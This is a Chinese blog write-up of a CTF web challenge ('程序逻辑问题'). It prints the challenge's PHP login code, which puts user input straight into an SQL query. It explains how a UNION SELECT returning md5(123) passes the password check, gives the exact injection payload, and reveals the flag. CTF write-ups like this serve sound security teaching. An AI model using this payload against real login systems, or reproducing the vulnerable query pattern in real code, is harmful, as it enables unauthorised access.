美文网首页
实验吧-程序逻辑问题

实验吧-程序逻辑问题

作者: V0W | 来源:发表于2018-08-09 16:29 被阅读0次

程序逻辑问题

原题链接

分析

查看源码有个index.txt

<?php


if($_POST[user] && $_POST[pass]) {
    $conn = mysql_connect("********, "*****", "********");
    mysql_select_db("phpformysql") or die("Could not select database");
    if ($conn->connect_error) {
        die("Connection failed: " . mysql_error($conn));
} 
$user = $_POST[user];
$pass = md5($_POST[pass]);

$sql = "select pw from php where user='$user'";
$query = mysql_query($sql);
if (!$query) {
    printf("Error: %s\n", mysql_error($conn));
    exit();
}
$row = mysql_fetch_array($query, MYSQL_ASSOC);
//echo $row["pw"];
  
  if (($row[pw]) && (!strcasecmp($pass, $row[pw]))) {
//strcasecmp — 二进制安全比较字符串(不区分大小写)
//和strcmp不同,这里没法通过php弱类型绕过
    echo "<p>Logged in! Key:************** </p>";
}
else {
    echo("<p>Log in failure!</p>");
    
  }
  

上面这段代码的逻辑是这样的:

  1. 获取user的那一行数据。
  2. 把user哪一行数据的pw列,md5运算后,与提交的pass数据做比较,相等就输出flag。

这里提交的pass,我们可控,只要能查出一个pw就行,无所谓是谁的pw

就是说user其实无所谓是哪个,无所谓知不知道,只要利用user提交sql注入语句查到一个md5(pw)
且于提交的md5(pass)相等就行。

可以本地做个测试,更清楚的说明这个问题:

mysql> select * from user;
+----------+-----+------------+
| Username | Age | Password   |
+----------+-----+------------+
| olivia   |  18 | slimslim   |
| qingchen |  18 | meimima123 |
| hack     |   1 | love_pwn   |
| someome  |   3 | p@55w0rd   |
+----------+-----+------------+
4 rows in set (0.00 sec)

mysql> select password from user where username='hack' union select md5(1);
+----------------------------------+
| password                         |
+----------------------------------+
| love_pwn                         |
| c4ca4238a0b923820dcc509a6f75849b |
+----------------------------------+
2 rows in set (0.00 sec)

mysql> select password from user where username='xman' union select md5(1);
+----------------------------------+
| password                         |
+----------------------------------+
| c4ca4238a0b923820dcc509a6f75849b |
+----------------------------------+
1 row in set (0.00 sec)

于是有了payload:

user=wobuxiwnagyouzhegeren' union select md5(123)#&pass=123

结果:
Logged in! Key: SimCTF{youhaocongming} 

flag

SimCTF{youhaocongming}

知识点

代码审计
sql注入

相关文章

  • 实验吧-程序逻辑问题

    程序逻辑问题 原题链接 分析 查看源码有个index.txt 上面这段代码的逻辑是这样的: 获取user的那一行数...

  • 实验吧web-程序逻辑问题

    题目地址:http://ctf5.shiyanbar.com/web/5/index.php 查看源代码可以在半个...

  • Corba项目笔记

    **********eclipse下corba环境搭建可以参考:Corba环境搭建笔记 一、实验要求 自选程序逻辑...

  • 程序逻辑

    一、顺序结构 (一)if语句 if语句用于实现条件分支结构 (二)if...else语句 if...else语句是...

  • 日记第43天

    今早和前几天早上都差不多,下午的时候就去实验室开始做实验,嗯,说几点问题吧。在实验室学习,的确是有些静不下心来,但...

  • 程序逻辑控制

    顺序结构 按照代码书写的顺序一行一行执行 如果调整代码的书写顺序, 则执行顺序也发生变化 分支结构 if 语句 1...

  • 实验吧-FALSE

    FALSE 原题链接 http://ctf5.shiyanbar.com/web/false.php 分析 注意到...

  • 实验吧-Forms

    Forms 原题链接 http://ctf5.shiyanbar.com/10/main.php 分析 很简单。。...

  • [实验吧]Web

    简单的登录题 解题链接: [http://ctf5.shiyanbar.com/web/jiandan/index...

  • 实验吧 trivial

    自己是真的菜。 网上的解题代码很多了,这里就不说了,主要是解析一下。 PS:trivial在数学里是一眼就可以看出...

网友评论

      本文标题:实验吧-程序逻辑问题

      本文链接:https://www.haomeiwen.com/subject/kxdcbftx.html